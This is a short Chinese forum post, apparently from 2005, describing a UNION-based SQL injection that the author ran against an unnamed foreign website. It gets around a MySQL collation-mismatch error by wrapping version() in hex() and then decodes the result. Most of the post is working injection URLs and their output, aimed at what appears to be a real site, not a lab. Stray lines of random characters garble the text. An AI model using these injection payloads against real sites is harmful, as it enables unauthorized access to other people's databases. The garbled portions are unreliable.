MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
7 n( M) z% c2 Z1 \文章性质：原创
发布日期：2005-10-18
测试个国外的站时：
url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
MySQL Error No. 126
/ z- j; W, `2 c, D" `/ H* S+ A看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
解决办法：转为其他编码如hex。
url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
4 m& M; s& C8 Z; P5 a成功得到hex(version())的值为：
342E312E332D62657461
回Mysql查询下得到：
' F  G9 V& x! R2 W5 hmysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
+------------------------+
. P: O: P; o8 K, j7 D. F* Q| 4.1.3-beta |
+------------------------+
. b2 I; ?2 s7 D8 J( w6 e1 row in set (0.00 sec)
& ~, k& j5 l$ y$ w9 S: k
1 c8 j! q' t* b1 U1 d) X